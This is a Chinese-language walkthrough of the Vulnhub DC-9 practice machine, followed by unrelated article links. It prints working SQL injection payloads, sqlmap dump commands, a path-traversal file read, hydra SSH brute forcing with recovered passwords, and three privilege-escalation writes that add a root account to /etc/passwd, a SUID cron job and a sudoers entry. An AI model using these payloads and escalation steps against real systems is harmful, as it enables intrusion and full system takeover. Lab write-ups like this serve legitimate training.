信息搜集

nmap -sP 192.168.146.0/24 #主机发现

nmap -A 192.168.146.147 #扫描端口等信息

22端口过滤,80端口开放,同样的从80端口入手。

不是现成的cms,然后浏览一下发现search的地方有sql注入

#探测
Mary //正确
Mary' //错误
Mary'# //正确 #注入
0' union select 1,2,3,4,5,6# //6列均可控
0' union select 1,2,3,4,5,database()# //数据库staff
0' union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema=database()# //StaffDetails,Users
0' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='Users'# //UserID,Username,Password
0' union select 1,2,3,4,5,group_concat(UserID,' | ',Username,' | ',Password) from Users# //1 | admin | 856f5de590ef37314e7c3bdf6f8a66dc

解密一下这个md5,https://www.somd5.com/解出来是transorbital1,登陆一下。

index.php

manage.php

看到底部File does not exist,之前的靶机也有类似的,可以猜测可能是LFI(include()),验证一下。

直接和一起一样写file,发现就是这个参数。(当然,一般来说需要fuzz一下,这里我就直接做了)

http://192.168.146.147/manage.php?file=../../../../etc/passwd

emmmm,这里不能直接用绝对路径,只能用相对路径。很多文件读不了,估计是没权限。

这样之前的读日志文件getshell的思路就不行了,需要另辟蹊径。

并且虽然得到了用户名可以尝试hydra爆破,但是之前扫描端口已经看到hydra是给过滤的,所以无法爆破。

许久没有思路。。。

最后尝试找ssh的保护措施。

https://www.ibm.com/developerworks/cn/aix/library/au-sshlocks/index.html

../../../../etc/security/access.conf #决定允许哪些用户登录

都给注释了,而且好像没有john用户啊。。

../../../../etc/knockd.conf #指定端口敲门规则,详细看url

getFlag

可以看到,敲门后22端口就开放了。那就上hydra爆破一下。

hydra -L username.txt -P /usr/share/wordlists/rockyou.txt -t 6 ssh://192.168.146.147

root@kali:/# cat username.txt
janitor2
janitor
phoebeb
monicag
rossg
joeyt
chandlerb
fredf



看看时间,黑人问号??? 这肯定不行呀。 得自己生成个字典。

回到之前sql注入,可以注入出用户名密码,估计可以用来撞库

直接用sqlmap全部跑出来吧。

sqlmap -u http://192.168.146.147/results.php --data="search=1" --dbms mysql --dbs  //information_schema,Staff,还有一个新表users
sqlmap -u http://192.168.146.147/results.php --data="search=1" --dbms mysql -D users -tables //UserDetails
sqlmap -u http://192.168.146.147/results.php --data="search=1" --dbms mysql -D users -T UserDetails --columns //firstname,id,lastname,password,reg_date,username
sqlmap -u http://192.168.146.147/results.php --data="search=1" --dbms mysql -D users -T UserDetails -C id,firstname,lastname,password --dump



(这哥们估计刷了很多遍friends老友记,Ross,Joey,Rachel都有。。。)

将密码生成字典pwd.txt,再用hydra爆破。hydra -L username.txt -P pwd.txt ssh://192.168.146.147

[22][ssh] host: 192.168.146.147   login: janitor   password: Ilovepeepee
[22][ssh] host: 192.168.146.147 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.146.147 login: chandlerb password: UrAG0D!

janitor用户目录下有隐藏目录.secrets-for-putin里面有隐藏的密码文件



做成pwd.txt 继续爆破hydra -L username.txt -P pwd.txt -t 6 ssh://192.168.146.147

用这个用户登陆上去。到这个地步差不多就该提权了。

看看sudo权限。sudo -l

可以以root权限执行这个test(elf文件),这肯定有问题了。。。

试了下,直接执行是不行的(因为不知道功能不会用)。大概猜一下就是读read文件,然后添加进append文件?当然要验证下。



然后在上两级目录看到了test.py,看看他的内容。

#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1) else :
f = open(sys.argv[1], "r")
output = (f.read()) f = open(sys.argv[2], "a")
f.write(output)
f.close()

简单的,就是先打开read指定的文件,然后添加到append指定的文件。

既然可以写文件那就有几个思路了:/etc/passwd文件,/etc/sudoers文件,/etc/crontab文件

写passwd文件

首先了解linux 命令采用5种加密方式和手动生成shadow密码的方法

https://www.cnblogs.com/f-ck-need-u/p/7545187.html

https://qastack.cn/unix/81240/manually-generate-password-for-etc-shadow

①.该列留空,即"::",表示该用户没有密码。
②.该列为"!",即":!:",表示该用户被锁,被锁将无法登陆,但是可能其他的登录方式是不受限制的,如ssh公钥认证的方式,su的方式。
③.该列为"*",即":*:",也表示该用户被锁,和"!"效果是一样的。
④.该列以"!"或"!!"开头,则也表示该用户被锁。
⑤.该列为"!!",即":!!:",表示该用户从来没设置过密码。
⑥.如果格式为"$id$salt$hashed",则表示该用户密码正常。其中$id$的id表示密码的加密算法,$1$表示使用MD5算法,$2a$表示使用Blowfish算法,"$2y$"是另一算法长度的Blowfish,"$5$"表示SHA-256算法,而"$6$"表示SHA-512算法,

我们使用下面这条

perl -e 'print crypt("hack", "salt")' #saOlCG7b7vaGw

#使用方式
echo 'A1oe:saOlCG7b7vaGw:0:0::/root:/bin/bash' > /tmp/11.txt
sudo ./test /tmp/11.txt /etc/passwd
su A1oe
Password: hack

crontab文件

参考https://www.cnblogs.com/A1oe/p/12535633.html

fredf@dc-9:/opt/devstuff/dist/test$ echo "* * * * * root chmod 4777 /bin/sh" > /tmp/1.txt
fredf@dc-9:/opt/devstuff/dist/test$ sudo ./test /tmp/1.txt /etc/crontab

写sudoers文件

#使用方法
fredf@dc-9:/opt/devstuff/dist/test$ echo 'fredf ALL=(ALL:ALL) ALL' > /tmp/33.txtfredf@dc-9:/opt/devstuff/dist/test$ sudo ./test /tmp/33.txt /etc/sudoers
fredf@dc-9:/opt/devstuff/dist/test$ sudo -l
Matching Defaults entries for fredf on dc-9:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User fredf may run the following commands on dc-9:
(root) NOPASSWD: /opt/devstuff/dist/test/test
(ALL : ALL) ALL
fredf@dc-9:/opt/devstuff/dist/test$ sudo cat /root/theflag.txt

总结

本次靶机又复习了下基础的sql注入,学习了一下ssh保护措施,一个关于ssh安全的重要配置文件knockd.conf,这个敲对门才能ssh连接还挺好玩的。。

然后就是又root权限来写文件(sudo提权),简单的就是三个文件了/etc/passwd、/etc/sudoers、/etc/crontab文件。

最后,DC系列靶机完结啦,撒花~,准备开其他坑了。

Vulnhub DC-9靶机渗透的更多相关文章

  1. DC 1-3 靶机渗透

    DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...

  2. Vulnhub DC-1靶机渗透学习

    前言 之前听说过这个叫Vulnhub DC-1的靶机,所以想拿来玩玩学习,结果整个过程都是看着别人的writeup走下来的,学艺不精,不过这个过程也认识到,学会了很多东西. 所以才想写点东西,记录一下 ...

  3. VulnHub CengBox2靶机渗透

    ​本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...

  4. VulnHub PowerGrid 1.0.1靶机渗透

    ​本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...

  5. Vulnhub靶机渗透 -- DC5

    信息收集 通过nmap搜索到IP为:192.168.200.11 开启了80http.111RPC服务端口 先打开网页,然后进行目录爆破 contact.php 攻击 经搜索没有发现可以攻击wheel ...

  6. Vulnhub靶机渗透 -- DC6

    信息收集 开启了22ssh和80http端口 ssh可以想到的是爆破,又或者是可以在靶机上找到相应的靶机用户信息进行登录,首先看一下网站信息 结果发现打开ip地址,却显示找不到此网站 但是可以发现地址 ...

  7. vulnhub-DC:2靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-2,311/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  8. vulnhub-DC:1靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-1,292/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  9. vulnhub-DC:3靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机www.vulnhub.com/entry/dc-3,312/ 导入到vmware 导入的时候遇到一个问题 解决方法: 点 "虚拟机" ...

随机推荐

  1. Python 之 GIL 全局解释器锁

    GIL(全局解释器锁) GIL锁即全局解释器锁,是 CPython 解释器的特性.它的作用是保证了同一时刻只有一个线程执行 Python 字节码. 它并不是 Python 的特性,它的存在是 CPyt ...

  2. python turtle笔记

      Turtle库是Python语言中一个很流行的绘制图像的函数库,想象一个小乌龟,在一个横轴为x.纵轴为y的坐标系原点,(0,0)位置开始,它根据一组函数指令的控制,在这个平面坐标系中移动,从而在它 ...

  3. Spring框架——IOC 容器的创建与使用

    企业级开发框架 Spring Framework 是整个 Spring 生态的基础,各个模块都是基于 Spring Framework 衍生出来的. Spring 的两大核心机制 IOC 控制翻转.A ...

  4. Go语言之Go语言变量

    GO 语言变量 Go语言是静态类型语言,因此变量(variable)是有明确类型的,编译器也会检查变量类型的正确性. 标识符 在编程语言中标识符就是程序员定义的具有特殊意义的词,比如变量名.常量名.函 ...

  5. asp.net core系列 76 Apollo 快速安装模式下填坑和ASP.NetCore结合使用

    前言:由于公司占时没有运维,出于微服务的需要,Apollo只能先装在windows 阿里云上跑起来,由于环境及网络等问题,在安装过程中遇到很多坑,算是一个个坑填完后,最终实现. 一. java jdk ...

  6. 跟面试官侃半小时MySQL事务隔离性,从基本概念深入到实现

    提到MySQL的事务,我相信对MySQL有了解的同学都能聊上几句,无论是面试求职,还是日常开发,MySQL的事务都跟我们息息相关. 而事务的ACID(即原子性Atomicity.一致性Consiste ...

  7. JAVA正则-检验QQ是否合法

    /* * 0不能开头,全数字,位数5-10位 * 123456 */ public static void checkQQ(){ String QQ = " 123456 "; / ...

  8. hdu1253胜利大逃亡(城堡的怪物太狠,主角难免天天逃亡)

    题目链接:http://icpc.njust.edu.cn/Problem/Hdu/1253/ 其实就是二维扩展到三维了,增加了搜索方向,其他的没什么不同. 代码如下: #include<bit ...

  9. demo08-js条件运算符

    <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title> ...

  10. 太赞了!阿里几位工程师重写了 《Java 并发编程》

    事情是这样的,前些日子和得知一个读者在准备阿里的面试,我蛮有兴趣的跟他聊了起来,随着话题越来越深入,我发现这位读者有意思,他和几位阿里的工程师之前编写了一本 concurrent.redspider. ...